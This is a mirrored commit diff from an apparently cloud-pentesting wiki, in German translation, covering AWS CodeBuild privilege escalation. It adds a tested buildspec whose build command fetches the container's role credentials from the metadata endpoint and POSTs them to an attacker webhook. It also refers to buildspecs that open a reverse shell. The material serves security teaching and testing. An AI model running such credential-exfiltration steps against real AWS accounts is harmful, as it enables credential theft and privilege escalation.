mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Beispiel2" }}
|
||||
{{#tab name="Example2" }}
|
||||
```bash
|
||||
# Generated by AI, not tested
|
||||
# Create a buildspec.yml file with reverse shell command
|
||||
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Example3" }}
|
||||
```bash
|
||||
# Generated by ex16x41, tested
|
||||
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
|
||||
|
||||
{
|
||||
"name": "user-project-1",
|
||||
"source": {
|
||||
"type": "NO_SOURCE",
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL"
|
||||
},
|
||||
"serviceRole": "ARN-OF-TARGET-ROLE"
|
||||
}
|
||||
|
||||
# Create a new CodeBuild project with the hook.json file
|
||||
aws codebuild create-project --cli-input-json file:///tmp/hook.json
|
||||
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name user-project-1
|
||||
|
||||
# Get Credentials output to webhook address
|
||||
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
@@ -268,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Wenn man **genug Berechtigungen hat, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird.
|
||||
Mit **ausreichenden Berechtigungen, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird.
|
||||
|
||||
Das Codebuild-Projekt muss einen Haltepunkt haben:
|
||||
|
||||
@@ -289,7 +323,7 @@ Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen.
|
||||
Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neu zu starten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen.
|
||||
|
||||
Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers.
|
||||
```bash
|
||||
@@ -308,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
Sie können etwas wie dies **buildspec** verwenden, um eine **reverse shell** zu erhalten:
|
||||
Sie können etwas wie dieses **buildspec** verwenden, um eine **reverse shell** zu erhalten:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -320,7 +354,7 @@ commands:
|
||||
**Auswirkungen:** Direkte Privilegieneskalation zu der Rolle, die vom AWS CodeBuild-Arbeiter verwendet wird, die normalerweise hohe Berechtigungen hat.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer herunterladen, entpacken, die `buildspec.yml` im Stammverzeichnis ändern, erneut zippen und hochladen müsste.
|
||||
> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer die `buildspec.yml` aus dem Stammverzeichnis herunterladen, entpacken, ändern, erneut zippen und hochladen müsste.
|
||||
|
||||
Weitere Details sind [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) zu finden.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user